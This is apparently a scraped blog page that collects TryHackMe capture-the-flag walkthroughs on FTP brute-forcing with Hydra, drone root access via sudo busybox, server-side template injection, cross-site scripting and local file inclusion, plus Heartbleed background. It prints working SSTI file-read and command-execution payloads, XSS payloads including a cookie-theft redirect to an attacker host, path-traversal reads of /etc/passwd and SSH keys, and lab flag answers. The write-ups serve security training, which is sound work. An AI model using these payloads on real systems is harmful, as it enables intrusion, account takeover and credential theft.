-->

ABOUT US

Our development agency is committed to providing you the best service.

OUR TEAM

The awesome people behind our brand ... and their life motto.

  • Kumar Atul Jaiswal

    Ethical Hacker

    Hacking is a Speed of Innovation And Technology with Romance.

  • Kumar Atul Jaiswal

    CEO Of Hacking Truth

    Loopholes are every major Security,Just need to Understand it well.

  • Kumar Atul Jaiswal

    Web Developer

    Techonology is the best way to Change Everything, like Mindset Goal.

OUR SKILLS

We pride ourselves with strong, flexible and top notch skills.

Marketing

Development 90%
Design 80%
Marketing 70%

Websites

Development 90%
Design 80%
Marketing 70%

PR

Development 90%
Design 80%
Marketing 70%

ACHIEVEMENTS

We help our clients integrate, analyze, and use their data to improve their business.

150

GREAT PROJECTS

300

HAPPY CLIENTS

650

COFFEES DRUNK

1568

FACEBOOK LIKES

STRATEGY & CREATIVITY

Phasellus iaculis dolor nec urna nullam. Vivamus mattis blandit porttitor nullam.

PORTFOLIO

We pride ourselves on bringing a fresh perspective and effective marketing to each project.

Showing posts with label Google search. Show all posts
Showing posts with label Google search. Show all posts
  • All about ftp network services





    Understanding FTP



    What is FTP?


    File Transfer Protocol (FTP) is, as the name suggests , a protocol used to allow remote transfer of files over a network. It uses a client-server model to do this, and- as we'll come on to later- relays commands and data in a very efficient way.
    All about ftp network services



    How does FTP work?



    A typical FTP session operates using two channels:

    •     a command (sometimes called the control) channel
    •     a data channel.


    As their names imply, the command channel is used for transmitting commands as well as replies to those commands, while the data channel is used for transferring data.


    FTP operates using a client-server protocol. The client initiates a connection with the server, the server validates whatever login credentials are provided and then opens the session.


    While the session is open, the client may execute FTP commands on the server.





    Active vs Passive




    The FTP server may support either Active or Passive connections, or both.

    In an Active FTP connection, the client opens a port and listens. The server is required to actively connect to it.
    In a Passive FTP connection, the server opens a port and listens (passively) and the client connects to it. 


    This separation of command information and data into separate channels is a way of being able to send commands to the server without having to wait for the current data transfer to finish. If both channels were interlinked, you could only enter commands in between data transfers, which wouldn't be efficient for either large file transfers, or slow internet connections.



    More Details:


    You can find more details on the technical function, and implementation of, FTP on the Internet Engineering Task Force website: https://www.ietf.org/rfc/rfc959.txt. The IETF is one of a number of standards agencies, who define and regulate internet standards.



    #1 What communications model does FTP use?



    Ans :- client-server


    #2 What's the standard FTP port?

    Ans :- 21



    #3 How many modes of FTP connection are there?  


    Ans :-  2


    Enumerating FTP


    Lets Get Started


    Before we begin, make sure to deploy the room and give it some time to boot. Please be aware, this can take up to five minutes so be patient!



    Enumeration



    By now, I don't think I need to explain any further how enumeration is key when attacking network services and protocols. You should, by now, have enough experience with nmap to be able to port scan effectively. If you get stuck using any tool- you can always use "tool [-h / -help / --help]" to find out more about it's function and syntax. Equally, man pages are extremely useful for this purpose. They can be reached using "man [tool]".



    Method



    We're going to be exploiting an anonymous FTP login, to see what files we can access- and if they contain any information that might allow us to pop a shell on the system. This is a common pathway in CTF challenges, and mimics a real-life careless implementation of FTP servers.





    As we're going to be logging in to an FTP server, we're going to need to make sure therre is an ftp client installed on the system. There should be one installed by default on most Linux operating systems, such as Kali or Parrot OS. You can test if there is one by typing "ftp" into the console. If you're bought to a prompt that says: "ftp>" Then you have a working FTP client on your system. If not, it's a simple matter of using "sudo apt install ftp" to install one.
    Alternative Enumeration Methods


    It's worth noting  that some vulnerable versions of in.ftpd and some other FTP server variants return different responses to the "cwd" command for home directories which exist and those that don’t. This can be exploited because you can issue cwd commands before authentication, and if there's a home directory- there is more than likely a user account to go with it. While this bug is found mainly within legacy systems, it's worth knowing about, as a way to exploit FTP.


    This vulnerability is documented at: https://www.exploit-db.com/exploits/20745

    Now we understand our toolbox, let's do this.                


    #1 Run an nmap scan of your choice.

    How many ports are open on the target machine?

    Ans :- 2



    #2 What port is ftp running on?

    Ans :- 21



    #3 What variant of FTP is running on it? 

    Ans :- vsftpd



    #4 Great, now we know what type of FTP server we're dealing with we can check to see if we are able to login anonymously to the FTP server. We can do this using by typing "ftp [IP]" into the console, and entering "anonymous", and no password when prompted.


    What is the name of the file in the anonymous FTP directory?


    Ans :- PUBLIC-NOTEICE.txt


    #5 What do we think a possible username
    could be?



    Ans :- mike



    #6 Great! Now we've got details about the FTP server and, crucially, a possible username. Let's see what we can do with that...





    Exploiting FTP

    Types of FTP Exploit


    Similarly to Telnet, when using FTP both the command and data channels are unencrypted. Any data sent over these channels can be intercepted and read.

    With data from FTP being sent in plaintext, if a man-in-the-middle attack took place an attacker could reveal anything sent through this protocol (such as passwords). An article written by JSCape demonstrates and explains this process using APR-Poisoning to trick a victim into sending sensitive information to an attacker, rather than a legitimate source.

    When looking at an FTP server from the position we find ourselves in for this machine, an avenue we can exploit is weak or default password configurations.




    Method Breakdown



    So, from our enumeration stage, we know:

        - There is an FTP server running on this machine

        - We have a possible username

    Using this information, let's try and bruteforce the password of the FTP Server.





    Hydra


    Hydra is a very fast online password cracking tool, which can perform rapid dictionary attacks against more than 50 Protocols, including Telnet, RDP, SSH, FTP, HTTP, HTTPS, SMB, several databases and much more. Hydra comes by default on both Parrot and Kali, however if you need it, you can find the GitHub here.


    The syntax for the command we're going to use to find the passwords is this:
    "hydra -t 4 -l dale -P /usr/share/wordlists/rockyou.txt -vV 10.10.10.6 ftp"


    Let's break it down:





    SECTION             FUNCTION

    hydra                   Runs the hydra tool

    -t 4                    Number of parallel connections per target

    -l [user]               Points to the user who's account you're trying to compromise

    -P [path to dictionary] Points to the file containing the list of possible passwords

    -vV                     Sets verbose mode to very verbose, shows the login+pass combination for each attempt

    [machine IP]            The IP address of the target machine

    ftp / protocol          Sets the protocol

    Let's crack some passwords!






    #1 What is the password for the user "mike"?

    Ans :- password


    #2 Bingo! Now, let's connect to the FTP server as this user using "ftp [IP]" and entering the credentials when prompted



    #3 What is ftp.txt?




    Expanding Your Knowledge




    Further Learning


    There is no checklist of things to learn until you've officially learnt everything you can. There will always be things that surprise us all, especially in the sometimes abstract logical problems of capture the flag challenges. But, as with anything, practice makes perfect. We can all look back on the things we've learnt after completing something challenging and I hope you feel the same about this room.



    Reading



    Here's some things that might be useful to read after completing this room, if it interests you:


       
       
       

    I hope you liked this post, then you should not forget to share this post at all.
    Thank you so much :-)

       

  • TryHackMe bebop Drone Hacking







    The communication with the drone happens over UDP, which is short for User Datagram Protocol. UDP is one of the dominant transport-layer protocols in use today. The other is TCP.


    Contents



    1 Enumeration:
    2 Exploitation:
    3 Privilege Escalation:


    Bebop
    is a quick box that exemplifies exactly how insecure some drone operating systems are. This box shouldn’t take very long to root — it’s really not particularly challenging (which is slightly worrying given it’s based off real drone software). Of much more interest is the overarching concept: drone hacking. If you haven’t already watched the video embedded into the THM room, I would highly recommend it; it’s really interesting (and hilarious in places). I’ll include an embed of the video below, before properly beginning the write-up: TryHackMe bebop Drone Hacking




    Enumeration with the Nmap:


    As per normal, the first thing we’re going to do with this box is run an nmap scan. A basic service scan is more than enough for our purposes:



    nmap -A -sC -sV -T4 -Pn -p- 10.10.86.14





    We could also have used the -O switch to try and identify the operating system (which you’re welcome to try), but for me, nmap fails to identify it.


    As it is, from the two ports that are open we can make a pretty solid guess that the OS is FreeBSD. Let’s wait a bit before confirming that though.


    We have two ports open here: port 22 (SSH) and port 23 (telnet). These two services do essentially the same thing (giving you the ability to remotely access a command line on the machine), but SSH is significantly more secure; so, funnily enough, we’re trying telnet first.

     

    #1 What is the User Flag?

     

    Exploitation:



    At the start of the room we’re given a codename: pilot. Let’s try logging in with that:



    telnet -l pilot <remote-ip>


    OR

    telnet IP








    #2 What is the Root Flag?


    Privilege Escalation:


    Pretty much the first thing you usually do when aiming for privesc on a Linux computer is look to see what you can run as sudo (i.e. with Root/Administrator privileges). FreeBSD is no different. Run sudo -l and see if we can run anything as root:


    sudo -l







    We can run BusyBox as root. In case you haven’t come across it before, BusyBox essentially amalgamates lots of different functions into a single executable file. It’s often used in embedded systems to reduce the disk space and memory required. Let’s have a look to see which commands we can execute through BusyBox on this system:



    busybox






    sh is in the defined functions listsh in defined functions list

    We can run sh through BusyBox. sh will give us a shell, meaning that if we run BusyBox as root (which we can do with our sudo permissions), we get a root shell!




    sudo /usr/local/bin/busybox sh   


    whoami

    cat root.txt

    OR

    exit






    And there we have it. We got root on a drone!



    busybox cat /root/root.txt





    And there we have it. We got root on a drone!





    Quiz Time



    #1 What is the low privilleged user?

    ls -l








    Ans :- pilot



    #2 What binary was used to escalate privillages?
    Ans :- busybox



    #3 What service was used to gain an initial shell?

    Ans :- telnet




    #4 What Operating System does the drone run?

    uname -a 







    Ans :- FreeBSD



    All too soon, that’s us completed Bebop — our drone-hacking extravaganza draws to a close. Kinda scary how easy some of our eyes in the sky are to hack.



    Video Tutorial :- Soon...

     

    Disclaimer



    This was written for educational purpose and pentest only.
    The author will not be responsible for any damage ..!
    The author of this tool is not responsible for any misuse of the information.
    You will not misuse the information to gain unauthorized access.
    This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!


    All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on www.hackingtruth.in is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.


    All tutorials and videos have been made using our own routers, servers, websites and other resources, they do not contain any illegal activity. We do not promote, encourage, support or excite any illegal activity or hacking without written permission in general. We want to raise security awareness and inform our readers on how to prevent themselves from being a victim of hackers. If you plan to use the information for illegal purposes, please leave this website now. We cannot be held responsible for any misuse of the given information.



    - Hacking Truth by Kumar Atul Jaiswal



    I hope you liked this post, then you should not forget to share this post at all.
    Thank you so much :-)






  • TryHackMe Server side template injection






    [Task 1] Introduction



    There are quite a lot of vulnerabilities that affect web applications. This leads to the problem of having quite a bit of material to cover, so it's fair to only cover the bigger/more common vulnerabilities in lieu of the smaller/less common vulnerabilities. This room is dedicated to some of the smaller web vulnerabilities, that may not be large enough to get a room on this site but are still worth knowing about. TryHackMe Server side template injection


    The vulnerabilities that will be discussed are:

    SSTI


    Task 2] Methodology



    This room will be divided into sections, each section talking about a specific vulnerability. The sections will follow this format: an introduction on what the vulnerable thing is, what the vulnerability(s) is/are(their may be multiple tasks on this), a guided exploitation in which I show pictures of how it's exploited, and finally a virtual machine where you will be asked to exploit it and collect a flag.

    Since this room is divided into sections that don't follow one another, you can do this room in any order you please.


    [Task 3] [Section 1 - SSTI] - What is SSTI



    A template engine allows developers to use static HTML pages with dynamic elements. Take for instance a static profile.html page, a template engine would allow a developer to set a username parameter, that would always be set  to the current user's username


    Server Side Template Injection, is when a user is able to pass in a parameter that can control the template engine that is running on the server.


    For example take the code





















    [Task 4] [Section 1 - SSTI] - Manual exploitation of SSTI.



    Turning the code earlier into a full flask application, gives us this page. It takes a prompt for a name, and then returns Hello <name>!.










    Fortunately, we don't have to do much recon as we already know this is vulnerable to SSTI, lets try injecting some basic template code







    Boom! That's template injection. We can use the wonderful repository PayloadsAllTheThings, to find some payloads for flask's template engine. The repo says we can use the code


    {{ ''.__class__.__mro__[2].__subclasses__()[40]()(<file>).read()}}  to read files on the server. Effectively all that payload does is load the file object in python, from there we can use basic file operations. Let's try to read /etc/passwd using this method














    We have LFI! Unfortunately(or fortunately depending on how you view it), that is not the extent of this vulnerability. The same repo, also includes a payload for remote code execution.


    We can use the code


    {{config.__class__.__init__.__globals__['os'].popen(<command>).read()}} to execute commands on the server. All that payload does is import the os module, and run a command using the popen method.









    From there, an attacker has already won, they can use this ability to gain a shell on the server.



    #1 How would a hacker(you :) ) cat out /etc/passwd on the server(using cat with the rce payload)
     
    Ans :-  {{ ''.__class__.__mro__[2].__subclasses__()[40]()(<file>).read()}}





    #2 What about reading in the contents of the user test's private ssh key.(use the read file one not the rce one)

    Ans :- {{ ''.__class__.__mro__[2].__subclasses__()[40]()(/home/test/.ssh/id_rsa).read()}}






    [Task 5] [Section 1 - SSTI]: Automatic Exploitation of SSTI



    Fortunately, we don't have to go searching for payloads to see how we can use SSTI to our advantage, because there is a tool known as Tplmap that does that for us! The tool can be found here.


    Note: use python2 to install the requirements. python2 -m pip



    The basic syntax for tplmap is different depending on whether you're using get or post



    • GET    tplmap -u <url>/?<vulnparam>
    • POST    tplmap -u <url> -d '<vulnparam>'



    Since our code operates via a form, the post syntax will be used.







    From there we can effectively do everything we did in the manual exploitation task, from a command line. Let's try running id using tplmap.






     #1 How would I cat out /etc/passwd using tplmap on the ip:port combo 10.10.10.10:5000, with the vulnerable param "noot".


    Ans :- tplmap -u http://10.10.10.10.5000/ -d 'noot' --os-cmd ' cat /etc/passwd'






    [Task 6][Section 1 - SSTI]: Challenge

     
    I've created a vulnerable machine for you to test your SSTI skills on! I've placed a flag in /flag aswell, good luck and have fun!


    # What is the flag?

    Hint - ./tplmap.py -u http://10.10.314.20/ -d 'name' --os-shell

    Ans :- cooctus







    Disclaimer



    This was written for educational purpose and pentest only.
    The author will not be responsible for any damage ..!
    The author of this tool is not responsible for any misuse of the information.
    You will not misuse the information to gain unauthorized access.
    This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!


    All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on www.hackingtruth.in is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.


    All tutorials and videos have been made using our own routers, servers, websites and other resources, they do not contain any illegal activity. We do not promote, encourage, support or excite any illegal activity or hacking without written permission in general. We want to raise security awareness and inform our readers on how to prevent themselves from being a victim of hackers. If you plan to use the information for illegal purposes, please leave this website now. We cannot be held responsible for any misuse of the given information.



    - Hacking Truth by Kumar Atul Jaiswal



    I hope you liked this post, then you should not forget to share this post at all.
    Thank you so much :-)



  • TryHackMe Cross Site Scripting - A Walkthrough by Kumar Atul Jaiswal





     

    [Task 1] Introduction



    Cross-site scripting (XSS) is a security vulnerability typically found in web applications. Its a type of injection which can allow an attacker to execute malicious scripts and have it execute on a victims machine.


    A web application is vulnerable to XSS if it uses unsanitized user input. XSS is possible in Javascript, VBScript, Flash and CSS. TryHackMe Cross Site Scripting - A Walkthrough by Kumar Atul Jaiswal


    The extent to the severity of this vulnerability depends on the type of XSS, which is normally split into two categories: persistent/stored and reflected. Depending on which, the following attacks are possible:


    • Cookie Stealing - Stealing your cookie from an authenticated session, allowing an attacker to login as you without themselves having to provide authentication.
    • Keylogging - An attacker can register a keyboard event listener and send all of your keystrokes to their own server.
    • Webcam snapshot - Using HTML5 capabilities its possible to even take snapshots from a compromised computer webcam.
    • Phishing - An attacker could either insert fake login forms into the page, or have you redirected to a clone of a site tricking you into revealing your sensitive data.
    • Port Scanning - You read that correctly. You can use stored XSS to scan an internal network and identify other hosts on their network.
    • Other browser based exploits - There are millions of possibilities with XSS.

    Who knew this was all possible by just visiting a web-page. There are measures put in place to prevent this from happening by your browser and anti-virus.


    This room will explain the different types of cross-Site scripting, attacks and require you to solve challenges along the way.


    This room is for educational purposes only, carrying out attacks explained in this room without permission from the target is illegal. I take no responsibility for your actions, you need to learn how an attacker can exploit this vulnerability in order to ensure you're patching it properly.

    [Task 2] Deploy your XSS Playground



    Attached to this task is a machine used for all questions in this room. Every task in this room has an page on the XSS Playground site, which includes a more in-depth explanation of the vulnerability in question and supporting challenges.








    [Task 3] Stored XSS


    Stored cross-site scripting is the most dangerous type of XSS. This is where a malicious string originates from the websites database. This often happens when a website allows user input that is not sanitised (remove the "bad parts" of a users input) when inserted into the database. 

    An example






    A attacker creates a payload in a field when signing up to a website that is stored in the websites database. If the website doesn't properly sanitise that field, when the site displays that field on the page, it will execute the payload to everyone who visits it.


    The payload could be as simple as <script>alert(1)</script>


    However, this payload wont just execute in your browser but any other browsers that display the malicious data inserted into the database.


    Lets experiment exploiting this type of XSS. navigate to the "Stored-XSS" page on the XSS playground.




    #1
    The machine you deployed earlier will guide you though exploiting some cool vulnerabilities, stored XSS has to offer. There are hints for answering these questions on the machine.



    #2 Add a comment and see if you can insert some of your own HTML.

    Doing so will reveal the answer to this question.


    Payload :- <p>HEY, it's HTML!!</p>

    Ans :- HTML_T4gs




    #3 Create an alert popup box appear on the page with your document cookies.

    Payload :- <script>alert(document.cookie)</script>

    Ans :- W3LL_D0N3_LVL2




    #4 Change "XSS Playground" to "I am a hacker" by adding comments and using Javascript.

    Payload :- <script>document.getElementById('thm-title').innerHTML="I am a hacker"</script>



    Ans :- websites_can_be_easily_defaced_with_xss



    #5 Stored XSS can be used to steal a victims cookie (data on a machine that authenticates a user to a webserver). This can be done by having a victims browser parse the following Javascript code:

    <script>window.location='http://attacker/?cookie='+document.cookie</script>

    This script navigates the users browser to a different URL, this new request will includes a victims cookie as a query parameter. When the attacker has acquired the cookie, they can use it to impersonate the victim.

    Take over Jack's account by stealing his cookie, what was his cookie value?


    Payload :- <img src="javascript:'/log/' + document.cookie" />

    Ans :- s%3Aat0YYHmITnfNSF0kM5Ne-ir1skTX3aEU.yj1%2FXoaxe7cCjUYmfgQpW3o5wP3O8Ae7YNHnHPJIasE




    #6 Post a comment as Jack.


    ANs :- c00ki3_stealing



    [Task 4] Reflected XSS



    In a reflected cross-site scripting attack, the malicious payload is part of the victims request to the website. The website includes this payload in response back to the user. To summarise, an attacker needs to trick a victim into clicking a URL to execute their malicious payload.


    This might seem harmless as it requires the victim to send a request containing an attackers payload, and a user wouldn't attack themselves. However, attackers could trick the user into clicking their crafted link that contains their payload via social-engineering them via email..


    Reflected XSS is the most common type of XSS attack.


    An example









    An attacker crafts a URL containing a malicious payload and sends it to the victim. The victim is tricked by the attacker into clicking the URL. The request could be http://example.com/search?keyword=<script>...</script>


    The website then includes this malicious payload from the request in the response to the user. The victims browser will execute the payload inside the response. The data the script gathered is then sent back to the attacker (it might not necessarily be sent from the victim, but to another website where the attacker then gathers this data - this protects the attacker from directly receiving the victims data).



    #1
    Craft a reflected XSS payload that will cause a popup saying "Hello"


    Payload :- <script>alert("Hello")</script>

    Ans :-  ThereIsMoreToXSSThanYouThink




    #2 Craft a reflected XSS payload that will cause a popup with your machines IP address.



    Payload :- <script>alert(window.location.hostname)</script>

    Ans :-  ReflectiveXss4TheWin




    [Task 5] DOM-Based XSS



    What is the DOM


    In a DOM-based XSS attack, a malicious payload is not actually parsed by the victim's browser until the website's legitimate JavaScript is executed. So what does this mean?

    With reflective xss, an attackers payload will be injected directly on the website and will not matter when other Javascript on the site gets loaded.


    <html>
        You searched for <em><script>...</script></em>
    </html

    With DOM-Based xss, an attackers payload will only be executed when the vulnerable Javascript code is either loaded or interacted with. It goes through a Javascript function like so:

    var keyword = document.querySelector('#search')
    keyword.innerHTML = <script>...</script>




    #1 Look at the deployed machines DOM-Based XSS page source code, and figure out a way to exploit it by executing an alert with your cookies.


    The hint gives us something to try out.


    test" onmouseover="alert('Hover over the image and inspect the image element')



    What this is doing is applying test to the src attribute of the image tag, and closing that quote. Then it is starting an onmouseover event attribute. When we do this and mouse over the broken image, then we see the alert.



    Let's modify it and make it do what the task is asking for (document.cookie instead of that string):


    xxx" onmouseover="alert(document.cookie)



    That should give us the desired result. We could have chosen a number of different events rather than onmouseover. I personally prefer onerror for this example. Give it a try!


    Ans :- BreakingAnElementsTag






    #2 Create an onhover event on an image tag, that change the background color of the website to red
    Almost the same deal here, except we are supposed to try using onhover instead, and change some property of the page instead of just displaying a popup.

    xxx" onhover="document.body.style.backgroundColor='red'

    You might have to play around with this one, it's a bit buggy for me. I had to end up doing it with an onmouseover I think. Play around and you'll eventually get it.


    Ans :- JavaScriptIsAwesome





    [Task 6] Using XSS for IP and Port Scanning


    Cross-site scripting can be used for all sorts of mischief, one being the ability to scan a victims internal network and look for open ports. If an attacker is interested in what other devices are connected on the network, they can use Javascript to make requests to a range of IP addresses and determine which one responds.


    On the XSS Playground, go to the IP/Port scanning tab and review a script to scan the internal network.




    [Task 7] XSS Keylogger


    Javascript can be used for many things, including creating an event to listen for key-presses.

    Navigate to the "Key Logger" part of the XSS playground and complete the challenge.





    [Task 8] Filter Evasion



    There are many techniques used to filter malicious payloads that are used with cross-site scripting. It will be your job to bypass 4 commonly used filters.


    Navigate to "Filter Evasion" in the XSS Playground to get started.


    Cross-site scripting are extremely common. Below are a few reports of XSS found in massive applications; you can get paid very well for finding and reporting these vulnerabilities. 



        XSS found in Shopify
        $7,500 for XSS found in Steam chat
        $2,500 for XSS in HackerOne
        XSS found in Instagram



    #1 Bypass the filter that removes any script tags.

    Payload :- <img src="blah" onerror=alert("Hello") />

    Ans :- 3c3cf8d90aaece81710ab9db759352c0




    #2 The word alert is filtered, bypass it.

    Payload :-  <img src="blah" onerror=confirm("Hello") />

    Ans :- a2e5ef66f5ff584a01d734ef5edaae91




    #3 The word hello is filtered, bypass it.

    Payload :-  <img src="blah" onerror=alert("HHelloello") />

    Ans :- decba45d0eff17c6eedf1629393bee1d





    #4 Filtered in challenge 4 is as follows:


        word "Hello"
        script
        onerror
        onsubmit
        onload
        onmouseover
        onfocus
        onmouseout
        onkeypress
        onchange


    Now it get's easier once we understand what this code is looking for! For this one, we just have to realize that the filter code sees onerror, but ignores ONERROR, which is still valid for our purposes.


    <img src="blah" ONERROR="alert('HHelloello')" />


    I'll let you in on a secret. This section is all being evaluated by POSTing values for question and answer to /filter-evasion-check. If you simply POST question=1&answer=Hello to /filter-evasion-check, you can fool the server-side code into returning the valid answer flag.


    POST question=1&answer=Hello
    POST question=2&answer=prompt
    POST question=4&answer=Hello
    POST question=4&answer=Hello


    Ans :-  2482d2e8939fc85a9363617782270555








    [Task 9] Protection Methods & Other Exploits



    Protection Methods

    There are many ways to prevent XSS, here are the 3 ways to keep cross-site scripting our of your application.

        

    Escaping - Escape all user input. This means any data your application has received  is secure before rendering it for your end users. By escaping user input, key characters in the data received bu the web age will be prevented from being interpreter in any malicious way. For example, you could disallow the < and > characters from being rendered.


    Validating Input - This is the process of ensuring your application is rendering the correct data and preventing malicious data from doing harm to your site, database and users. Input validation is disallowing certain characters from being submit in the first place.


    Sanitising - Lastly, sanitizing data is a strong defence but should not be used to battle XSS attacks alone. Sanitizing user input is especially helful on sites that allow HTML markup, changing the unacceptable user input into an acceptable format. For example you could sanitise the < character into the HTML entity &#60;


    Other Exploits


    XSS is often overlooked but can have just as much impact as other big impact vulnerabilities. More often than not, its about stringing several vulnerabilities together to produce a bigger/better exploit. Below are some other interesting XSS related tools and websites.




    XSS-Payloads.com is a website that has XSS related Payloads, Tools, Documentation and more. You can download XSS payloads that take snapshots from a webcam or even get a more capable port and network scanner.






    Disclaimer



    This was written for educational purpose and pentest only.
    The author will not be responsible for any damage ..!
    The author of this tool is not responsible for any misuse of the information.
    You will not misuse the information to gain unauthorized access.
    This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!


    All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on www.hackingtruth.in is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.


    All tutorials and videos have been made using our own routers, servers, websites and other resources, they do not contain any illegal activity. We do not promote, encourage, support or excite any illegal activity or hacking without written permission in general. We want to raise security awareness and inform our readers on how to prevent themselves from being a victim of hackers. If you plan to use the information for illegal purposes, please leave this website now. We cannot be held responsible for any misuse of the given information.



    - Hacking Truth by Kumar Atul Jaiswal



    I hope you liked this post, then you should not forget to share this post at all.
    Thank you so much :-)


  • TryHackMe LFi walkthrough Local file inclusion






    [Task 1] Deploy



    Local File Inclusion (LFI) is the vulnerability that is mostly found in web servers. This vulnerability is exploited when a user input contains a certain path to the file which might be present on the server and will be included in the output. This kind of vulnerability can be used to read files containing sensitive and confidential data from the vulnerable system. TryHackMe LFi walkthrough Local file inclusion


    The main cause of this type of Vulnerability is improper sanitization of the user's input. Sanitization here means that whatever user input should be checked and it should be made sure that only the expected values are passed and nothing suspicious is given in input. It is a type of Vulnerability commonly found in PHP based websites but isn't restricted to them.



    [Task 2] Getting user access via LFI



    To test for LFI what we need is a parameter on any URL or any other input fields like request body etc. For example, if the website is hackingtruth.in then a parameter in the URL can look like https://www.hackingtruth.in/?file=robots.txt. Here file is the name of the parameter and robots.txt is the value that we are passing (include the file robots.txt).


    Importance of Arbitrary file reading


    A lot of the time LFI can lead to accessing (without the proper permissions) important and classified data. An attacker can use LFI to read files from your system which can give away sensitive information such as passwords/SSH keys; enumerated data can be further used to compromise the system.


    In this task, we are going to find the parameter which is vulnerable to the Local File Inclusion attack. We will then will try to leverage information obtained to get access to the system.




    #1 Look around the website. What is the name of the parameter you found on the website?

    Ans :- page


    #2 Once we find the vulnerable parameter we can try to include the passwd file on the Linux system i.e /etc/passwd. The most common technique is path traversal method meaning we can include files like ../../../../etc/passwd what this does it get out of a directory like we usually do in Linux system by running cd ../


    ../../etc/passwd means to go out twice from the current working directory and then go to /etc directory and read the passwd file. Now the issue with this method is you need to be sure about the path of the file.


    You can read the interesting files to check out while testing for LFI :- Click here




    #3 Once you include /etc/passwd then you should see entries something like:

    root:x:0:0::/root:/bin/bash
    bin:x:1:1::/:/sbin/nologin
    daemon:x:2:2::/:/sbin/nologin


    To understand all those entries read this article.


    This file can give information about the system like the name of all the existing users on the system.




    #4 What is the name of the user on the system?

    Ans :- falcon



    #5 Once you find the name of the user it's important to see if you can include anything common and important in that user's directory, could be anything like theirs .bashrc etc




    #6 Name of the file which can give you access to falcon's account on the system?

    Ans :- id_rsa



    #7 What is the user flag?

    Ans :- B8LEGIF049JT4RTVWUG4

    [Task 3] Escalating your privileges to root



    In this, we are going to focus on getting root-level access on the machine. This step is also known as Privilege escalation; we are going to escalate our privilege from a normal user to a root user (with the highest level of system privileges).


    First, we'll have to find a vector that would be exploited to give us root access. A vector can be anything like a binary with some special permission or a cronjob that is not configured properly etc.


    I've written a blog post about Linux privilege escalation, you can read it here to know more about it.



    #1 What can falcon run as root?

    Ans :- /bin/journalctl



    #2 Search gtfobins via the website or by using gtfo tool, to see if you find any way to use that binary for privilege escalation.




    #3 What is the root flag?

    Ans :- H1EQRK5XEX140H2KMO08





    Disclaimer



    This was written for educational purpose and pentest only.
    The author will not be responsible for any damage ..!
    The author of this tool is not responsible for any misuse of the information.
    You will not misuse the information to gain unauthorized access.
    This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!


    All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on www.hackingtruth.in is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.


    All tutorials and videos have been made using our own routers, servers, websites and other resources, they do not contain any illegal activity. We do not promote, encourage, support or excite any illegal activity or hacking without written permission in general. We want to raise security awareness and inform our readers on how to prevent themselves from being a victim of hackers. If you plan to use the information for illegal purposes, please leave this website now. We cannot be held responsible for any misuse of the given information.



    - Hacking Truth by Kumar Atul Jaiswal



    I hope you liked this post, then you should not forget to share this post at all.
    Thank you so much :-)





  • TryHackMe HeartBleed Bug Walkthrough







    SSL issues are still lurking in the wild. Can you exploit this web servers OpenSSL?

    Introduction to Heartbleed and SSL/TLS



    On the internet today, most web servers are configured to use SSL/TLS. SSL(secure socket layer) is just a predecessor to TLS(transport layer security). The most common versions are TLS 1.2 and TLS 1.3(which has recently been released). Configuring a web server to use TLS means that all communication from that particular server to a client will be encrypted; any malicious third party that has access to this traffic will not be able to understand/decrypt the traffic, and they also will not be able to modify the traffic. To learn more about how the TLS connections are established, check 1.2 and 1.3 out.


    Heartbleed is a bug due to the implementation in the OpenSSL library from versions 1.0.1 to 1.0.1f(which is very widely used). It allows a user to access memory on the server(which they usually wouldn't have access to). This in turn allows a malicious user to access different kinds of information(that they wouldn't usually have access to due to the encryption and integrity provided by TLS) including:

    server private key

    confidential data like usernames, passwords and other personal information


    Analysing the Bug



    The implementation error occurs in the heartbeat message that is used by OpenSSL to keep a connection alive even when no data is sent. A mechanism like this is important because if a connection dies/resets quite often, it would be expensive to set up the TLS aspect of the connection again; this affects the latency across the internet and it would make using services slow for users. A heartbeat message sent by one end of the connection contains random data and the length of the data, and this exact data is sent back when received by the other end of the connection. When the server retrieves this message from the client here's what it does: TryHackMe HeartBleed Bug Walkthrough


    The server constructs a pointer(memory location) to the heartbeat record


    It then copies the length of the data sent by a user into a variable(called payload)

    The length of this data is unchecked


    The server then allocates memory in the form of:


    1 + 2 + payload + padding(this can be maximum of 1 + 2 + 65535 + 16)

    The server then creates another pointer(bp) to access this memory

    The server then copies payload number of bytes from data sent by the user to the bp pointer

    The server sends the data contained in the bp pointers to the user


    With this, you can see that the user controls the amount and length of data they send over. If the user does not send over any data(where the length is 0), it means that the server will copy arbitrary memory into the new pointer(which is how it can access secret information on the server). When retrieving data this way, the data can be different with different responses as the memory on the server will change.



     







    Remediation


    To ensure that arbitrary data from the server isn’t copied and sent to a user, the server needs to check the length of the heartbeat message:

    The server needs to check that the length of the heartbeat message sent by the user isn’t 0

    The server needs to check the the length doesn’t exceed the specified length of the variable that holds the data



    References:





    Heartbleed Bug Discovery


